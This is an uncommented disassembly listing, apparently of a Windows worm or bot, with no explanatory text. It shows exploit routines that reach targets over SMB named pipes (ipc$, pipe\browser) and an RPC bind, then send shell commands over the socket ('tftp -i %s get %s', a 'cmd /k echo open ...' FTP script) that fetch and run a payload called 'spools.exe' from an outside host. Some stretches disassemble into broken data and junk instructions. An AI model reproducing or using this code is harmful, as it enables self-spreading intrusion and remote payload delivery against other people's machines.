		call	near ptr sub_41C9B0
		add	dword ptr [ebp-4], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-0Ch]
		jnz	short loc_40DF0F


loc_40DF26:				; CODE XREF: .nsp0:0040DEFCj
		mov	eax, [ebp+0C4h]
		add	eax, 42h
		push	eax
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-0Ch], esi
		jnz	short loc_40DF54
		push	dword ptr [ebp-8]
		call	dword_42706C	; CloseHandle
		push	edi
		call	sub_41B961
		pop	ecx
		jmp	loc_40DC8B
; ---------------------------------------------------------------------------


loc_40DF54:				; CODE XREF: .nsp0:0040DF3Dj
		mov	eax, [ebp+0C4h]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41BC40
		lea	eax, [ebp-74h]
		push	14h
		push	eax
		push	esi
		call	near ptr sub_41C9B0
		mov	eax, [ebp+0C4h]
		mov	[ebp-10h], ebx
		mov	[ebp-14h], eax
		add	esp, 10h
		fild	qword ptr [ebp-14h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41CE5F
		call	sub_41CE38
		push	dword ptr [ebp+0C4h]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	near ptr sub_41C9B0
		mov	eax, [ebp+0C4h]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp-4], eax
		jz	short loc_40DFCD


loc_40DFC5:				; CODE XREF: .nsp0:0040DFC8j
		inc	eax
		test	al, 3
		jnz	short loc_40DFC5
		mov	[ebp-4], eax


loc_40DFCD:				; CODE XREF: .nsp0:0040DFC3j
		lea	ecx, [ebp-34h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	near ptr sub_41C9B0
		add	dword ptr [ebp-4], 1Ch
		push	edi
		call	sub_41B961
		push	18h
		lea	eax, [ebp-4Ch]
		push	ebx
		push	eax
		call	sub_41BC40
		push	14h
		lea	eax, [ebp-60h]
		push	ebx
		push	eax
		mov	byte ptr [ebp-4Ch], 5
		mov	[ebp-4Bh], bl
		mov	[ebp-4Ah], bl
		mov	byte ptr [ebp-49h], 3
		mov	dword ptr [ebp-48h], 10h
		mov	[ebp-42h], bx
		mov	[ebp-40h], ebx
		mov	[ebp-38h], bx
		mov	word ptr [ebp-36h], 1Fh
		call	sub_41BC40
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 0B40000h
		out	dx, al
		mov	[ebp-50h], eax
		mov	[ebp+0C7h], bl
		mov	[ebp-10h], ebx


loc_40E03D:				; CODE XREF: .nsp0:0040E107j
		cmp	dword ptr [ebp-10h], 2
		jge	loc_40E112
		push	1
		push	10B8h
		push	dword ptr [ebp-4]
		inc	dword ptr [ebp-10h]
		push	esi
		lea	esi, [ebp-4Ch]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-8]
		rep movsd
		call	sub_40DAE4
		add	esp, 2Ch
		test	al, al
		jz	loc_40E10F
		cmp	[ebp-50h], ebx
		jz	near ptr loc_40E0FD+1
		lea	eax, [ebp-60h]
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-60E0h]
		push	2000h
		push	eax
		push	dword ptr [ebp-8]
		call	dword_4270E8	; ReadFile
		test	eax, eax
		jnz	short loc_40E0B0
		call	dword_42708C	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_40DC8B


loc_40E0B0:				; CODE XREF: .nsp0:0040E09Dj
		push	3E8h
		push	dword ptr [ebp-50h]
		call	near ptr 0B40000h
		jle	short loc_40E0FC
		add	al, [ecx]
; ---------------------------------------------------------------------------
		db 2 dup(0), 75h
		dd 8D656A39h, 0EC810875h, 0BCh,	0C785C6h, 6A010000h, 0FC8B592Fh
		dd 6DE8A5F3h, 8B0000ACh, 0B085h, 0C0C48100h, 0C1000000h
		dd 80FF06E0h, 438050h, 8050808Dh
; ---------------------------------------------------------------------------


loc_40E0FC:				; CODE XREF: .nsp0:0040E0BDj
		inc	ebx


loc_40E0FD:				; CODE XREF: .nsp0:0040E078j
		add	[eax], bh
		popf
		mov	dword ptr [eax], 758B0000h
		hlt
; ---------------------------------------------------------------------------
		jz	loc_40E03D
		jmp	short loc_40E112
; ---------------------------------------------------------------------------


loc_40E10F:				; CODE XREF: .nsp0:0040E06Fj
		mov	esi, [ebp-0Ch]


loc_40E112:				; CODE XREF: .nsp0:0040E041j
					; .nsp0:0040E10Dj
		push	dword ptr [ebp-8]
		mov	edi, dword_42706C
		call	edi ; dword_42706C
		push	esi
		call	sub_41B961
		cmp	[ebp-50h], ebx
		pop	ecx
		jz	short loc_40E12E
		push	dword ptr [ebp-50h]
		call	edi ; dword_42706C


loc_40E12E:				; CODE XREF: .nsp0:0040E127j
		xor	eax, eax
		cmp	[ebp+0C7h], bl
		setnz	al


loc_40E139:				; CODE XREF: .nsp0:0040DC8Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40E13E	proc near		; CODE XREF: .nsp0:0040D7D2p

arg_0		= byte ptr  4

		push	esi
		push	edi
		push	0
		lea	esi, [esp+0Ch+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	loc_40DBD2
		add	esp, 0C0h
		test	eax, eax
		push	1
		jz	short loc_40E167
		pop	eax
		jmp	short loc_40E18C
; ---------------------------------------------------------------------------


loc_40E167:				; CODE XREF: sub_40E13E+24j
		sub	esp, 0BCh
		lea	esi, [esp+0C8h+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	loc_40DBD2
		add	esp, 0C0h
		neg	eax
		sbb	eax, eax
		neg	eax


loc_40E18C:				; CODE XREF: sub_40E13E+27j
		pop	edi
		pop	esi
		retn
sub_40E13E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18F	proc near		; CODE XREF: sub_40E62B+35p

var_230		= byte ptr -230h
var_210		= byte ptr -210h
var_1F0		= byte ptr -1F0h
var_1D0		= byte ptr -1D0h
var_1B0		= byte ptr -1B0h
var_190		= byte ptr -190h
var_170		= byte ptr -170h
var_150		= byte ptr -150h
var_130		= byte ptr -130h
var_110		= byte ptr -110h
var_F0		= byte ptr -0F0h
var_D0		= byte ptr -0D0h
var_B0		= byte ptr -0B0h
var_90		= byte ptr -90h
var_70		= byte ptr -70h
var_50		= byte ptr -50h
var_30		= byte ptr -30h
var_20		= dword	ptr -20h
var_10		= byte ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
arg_136F8	= byte ptr  136FCh
arg_13720	= dword	ptr  13724h
arg_13864	= byte ptr  13868h
arg_1388C	= byte ptr  13890h
arg_13924	= dword	ptr  13928h

		mov	eax, 13894h
		call	sub_41C1D0
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		push	1
		push	2
		call	dword_42721C	; socket
		mov	esi, eax
		lea	eax, [esp+1Ch+arg_1388C]
		push	eax
		mov	word ptr [esp+20h+var_8], 2
		call	dword_427230	; inet_addr
		push	[esp+20h+arg_13924]
		mov	[esp+24h+var_8], eax
		call	dword_427208	; ntohs
		mov	[esp+24h+var_E], ax
		lea	eax, [esp+24h+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_42720C	; connect
		test	eax, eax
		jge	short loc_40E1F0


loc_40E1E9:				; CODE XREF: sub_40E18F+275j
		xor	eax, eax
		jmp	loc_40E620
; ---------------------------------------------------------------------------


loc_40E1F0:				; CODE XREF: sub_40E18F+58j
		lea	eax, [esp+30h+var_20]
		push	4
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		mov	[esp+44h+var_20], 1388h
		call	dword_427210	; setsockopt
		lea	eax, [esp+44h+arg_13864]
		push	1
		push	eax
		call	sub_41852C
		pop	ecx
		cmp	eax, 2
		pop	ecx
		jz	loc_40E409
		cmp	eax, 1
		jz	loc_40E409
		mov	ebx, dword_427220
		push	edi
		push	48h
		push	offset aB	; ""
		push	esi
		call	ebx ; dword_427220
		mov	ebp, dword_427214
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	58h
		push	offset dword_43917C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	0B0h
		push	offset dword_4391D8
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	0F6h
		push	offset dword_43928C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	3Eh
		push	offset dword_439384
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	60h
		push	offset dword_4393C4
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	96h
		push	offset dword_439428
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_4394C0
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_43961C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_439778
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	6Ah
		push	offset dword_4398D4
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		test	eax, eax
		jz	loc_40E5E4
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E5E4
		push	0
		push	15Bh
		push	offset dword_4394C0
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_43961C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_439778
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	6Ah
		push	offset dword_4398D4
		push	esi
		call	ebx ; dword_427220
		push	1387Fh
		lea	eax, [esp+218h+var_1F0]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch


loc_40E3D0:				; CODE XREF: sub_40E18F+450j
		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		test	eax, eax
		jz	loc_40E5E4
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E5E4
		cmp	[esp+224h+arg_13720], 8Bh
		push	esi
		jnz	loc_40E5E5
		call	dword_427218	; closesocket
		jmp	loc_40E1E9
; ---------------------------------------------------------------------------


loc_40E409:				; CODE XREF: sub_40E18F+95j
					; sub_40E18F+9Ej
		mov	ebx, dword_427220
		push	edi
		push	48h
		push	offset unk_439940
		push	esi
		call	ebx ; dword_427220
		mov	ebp, dword_427214
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	58h
		push	offset dword_43998C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	0B0h
		push	offset dword_4399E8
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	0F6h
		push	offset dword_439A9C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	66h
		push	offset dword_439B94
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	3Eh
		push	offset dword_439BFC
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	60h
		push	offset dword_439C3C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	96h
		push	offset dword_439CA0
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_439D38
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_439E94
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_439FF0
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_43A14C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	0CEh
		push	offset dword_43A2A8
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		test	eax, eax
		jz	loc_40E5E4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E5E4
		push	0
		push	15Bh
		push	offset dword_439D38
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_439E94
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_439FF0
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+238h+var_210]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	15Bh
		push	offset dword_43A14C
		push	esi
		call	ebx ; dword_427220
		push	0
		lea	eax, [esp+258h+var_230]
		push	edi
		push	eax
		push	esi
		call	ebp ; dword_427214
		push	0
		push	0CEh
		push	offset dword_43A2A8
		push	esi
		call	ebx ; dword_427220
		jmp	loc_40E3D0
; ---------------------------------------------------------------------------


loc_40E5E4:				; CODE XREF: sub_40E18F+1C4j
					; sub_40E18F+1CDj ...
		push	esi


loc_40E5E5:				; CODE XREF: sub_40E18F+269j
		call	dword_427218	; closesocket
		push	7D0h
		call	dword_427064	; Sleep
		push	0BEEFh
		lea	esi, [esp+1B0h+arg_136F8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_418D50
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		neg	eax


loc_40E620:				; CODE XREF: sub_40E18F+5Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 13894h
		retn
sub_40E18F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E62B	proc near		; CODE XREF: .nsp0:0040D7EAp

var_200		= byte ptr -200h
arg_0		= byte ptr  8
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_A0], 8Bh
		push	edi
		jz	short loc_40E650
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_40E693


loc_40E650:				; CODE XREF: sub_40E62B+17j
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E18F
		mov	esi, eax
		add	esp, 0BCh
		test	esi, esi
		jz	short loc_40E693
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A6
		mov	eax, [ebp+arg_A8]
		pop	ecx
		shl	eax, 6
		inc	dword_438050[eax]
		lea	eax, dword_438050[eax]


loc_40E693:				; CODE XREF: sub_40E62B+23j
					; sub_40E62B+44j
		mov	eax, esi
		pop	edi
		pop	esi
		leave
		retn
sub_40E62B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E699	proc near		; CODE XREF: sub_40E7D2+24Ep

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4D1230	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4D11F0	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4D1270	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E7AB
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4D1198	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E7AB
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4D1208	; recv
		mov	esi, offset aSpools_exe	; "spools.exe"
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AB6A
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 18h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4D1240	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E7AB
		push	1F4h
		call	dword_427064	; Sleep
		push	esi
		push	offset dword_430C18
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4D1240	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E7AF


loc_40E7AB:				; CODE XREF: sub_40E699+50j
					; sub_40E699+66j ...
		xor	al, al
		jmp	short loc_40E7CD
; ---------------------------------------------------------------------------


loc_40E7AF:				; CODE XREF: sub_40E699+110j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4D1208	; recv
		push	ebx
		call	dword_4D1288	; closesocket
		mov	al, 1


loc_40E7CD:				; CODE XREF: sub_40E699+114j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E699	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E7D2	proc near		; CODE XREF: sub_40EA50+16p
					; sub_40EA50+39p

var_72E38B40	= dword	ptr -72E38B40h
var_1D24	= byte ptr -1D24h
var_D24		= byte ptr -0D24h
var_CF8		= byte ptr -0CF8h
var_CF4		= byte ptr -0CF4h
var_CF0		= byte ptr -0CF0h
var_CEC		= byte ptr -0CECh
var_A28		= byte ptr -0A28h
var_A24		= byte ptr -0A24h
var_4F4		= byte ptr -4F4h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_88		= byte ptr -88h
var_84		= byte ptr -84h
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_58		= byte ptr -58h
var_54		= byte ptr -54h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1D24h
		call	sub_41C1D0
		push	ebx
		push	esi
		push	edi
		push	830h
		lea	eax, [ebp+var_D24]
		push	0
		push	eax
		call	sub_41BC40
		push	264h
		lea	eax, [ebp+var_2EC]
		push	0FFFFFF90h
		push	eax
		call	sub_41BC40
		push	15Bh
		lea	eax, [ebp+var_2EC]
		push	offset dword_43A414
		push	eax
		call	near ptr sub_41C9B0
		push	4
		lea	eax, [ebp+var_88]
		pop	ebx
		push	ebx
		push	offset dword_43A5DC
		push	eax
		call	near ptr sub_41C9B0
		push	8
		lea	eax, [ebp+var_84]
		push	41h
		push	eax
		call	sub_41BC40
		mov	esi, offset dword_43A5D4
		push	ebx
		lea	eax, [ebp+var_7C]
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 48h
		lea	eax, [ebp+var_78]
		push	20h
		push	0FFFFFF90h
		push	eax
		call	sub_41BC40
		push	ebx
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		push	8
		lea	eax, [ebp+var_54]
		push	42h
		push	eax
		call	sub_41BC40
		push	ebx
		lea	eax, [ebp+var_4C]
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		push	20h
		lea	eax, [ebp+var_48]
		push	0FFFFFF90h
		push	eax
		call	sub_41BC40
		push	2Ch
		lea	eax, [ebp+var_D24]
		push	offset dword_43A3C4
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 48h
		mov	edi, offset dword_43A5CC
		lea	eax, [ebp+var_CF8]
		push	ebx
		push	edi
		push	eax
		call	near ptr sub_41C9B0
		mov	esi, offset dword_4D3F1C
		push	ebx
		lea	eax, [ebp+var_CF4]
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		push	ebx
		lea	eax, [ebp+var_CF0]
		push	edi
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_2EC]
		push	2C4h
		push	eax
		lea	eax, [ebp+var_CEC]
		push	eax
		call	near ptr sub_41C9B0
		push	ebx
		lea	eax, [ebp+var_A28]
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		push	1Ch
		lea	eax, [ebp+var_A24]
		push	offset dword_43A3F4
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 48h
		lea	eax, [ebp+arg_4]
		mov	edi, 104h
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp+var_3F0]
		push	edi
		push	eax
		call	sub_41C030
		lea	eax, [ebp+var_3F0]
		add	esp, 10h
		xor	esi, esi
		mov	[ebp+var_14], eax
		mov	eax, offset byte_443398
		push	esi
		push	eax
		push	eax
		lea	eax, [ebp+var_28]
		mov	[ebp+var_24], esi
		push	eax
		mov	[ebp+var_18], esi
		mov	[ebp+var_C], esi
		call	sub_41B888
		test	eax, eax
		jz	short loc_40E972
		push	offset aFailedToConnec ; "[-] Failed to	connect	to host	!\n"
		call	sub_41D88C
		pop	ecx


loc_40E96B:				; CODE XREF: sub_40E7D2+1D6j
					; sub_40E7D2+229j ...
		xor	eax, eax


loc_40E96D:				; CODE XREF: sub_40E7D2+279j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40E972:				; CODE XREF: sub_40E7D2+18Cj
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		lea	eax, [ebp+var_4F4]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp+var_4F4]
		push	esi
		push	esi
		push	3
		push	esi
		push	esi
		push	0C0000000h
		push	eax
		call	dword_4270EC	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40E96B
		push	offset aBindingToRpcIn ; "[+] Binding to RPC interface ... \n"
		call	sub_41D88C
		pop	ecx
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_1D24]
		push	1000h
		push	eax
		push	49h
		push	offset dword_43A378
		push	edi
		call	near ptr 0B40000h
		or	[ebp+var_72E38B40], eax
		inc	ebp
		cld
		push	esi
		push	eax
		lea	eax, [ebp+var_D24]
		push	830h
		push	eax
		push	edi
		call	near ptr 0B40000h
		db	64h
		test	eax, eax
		jnz	short loc_40EA00
		push	edi
		call	dword_42706C	; CloseHandle
		jmp	loc_40E96B
; ---------------------------------------------------------------------------


loc_40EA00:				; CODE XREF: sub_40E7D2+220j
		push	0FAh
		call	dword_427064	; Sleep
		push	115Ch
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E699
		add	esp, 0C0h
		test	al, al
		jz	loc_40E96B
		mov	eax, [ebp+arg_A8]
		push	1
		shl	eax, 6
		inc	dword_438050[eax]
		lea	eax, dword_438050[eax]
		pop	eax
		jmp	loc_40E96D
sub_40E7D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EA50	proc near		; CODE XREF: .nsp0:0040D802p

arg_0		= byte ptr  4

		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [esp+0C4h+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E7D2
		add	esp, 0BCh
		test	eax, eax
		jnz	short loc_40EA9C
		sub	esp, 0BCh
		lea	esi, [esp+0C4h+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E7D2
		add	esp, 0BCh
		neg	eax
		sbb	eax, eax
		neg	eax
		jmp	short loc_40EA9F
; ---------------------------------------------------------------------------


loc_40EA9C:				; CODE XREF: sub_40EA50+23j
		push	1
		pop	eax


loc_40EA9F:				; CODE XREF: sub_40EA50+4Aj
		pop	edi
		pop	esi
		retn
sub_40EA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAA2	proc near		; CODE XREF: sub_40EB90+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_427230	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_427208	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_42721C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EB70
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_42720C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EB70
		mov	edi, 400h
		push	esi
		mov	esi, dword_427214
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi ; dword_427214
		mov	eax, offset aSpools_exe	; "spools.exe"
		push	eax
		push	eax
		push	dword_4D0F20
		push	[ebp+arg_0]
		call	sub_40AB6A
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C030
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_427220	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB74


loc_40EB70:				; CODE XREF: sub_40EAA2+50j
					; sub_40EAA2+62j
		xor	eax, eax
		jmp	short loc_40EB8B
; ---------------------------------------------------------------------------


loc_40EB74:				; CODE XREF: sub_40EAA2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi ; dword_427214
		push	ebx
		call	dword_427218	; closesocket
		push	1
		pop	eax


loc_40EB8B:				; CODE XREF: sub_40EAA2+D0j
		pop	edi
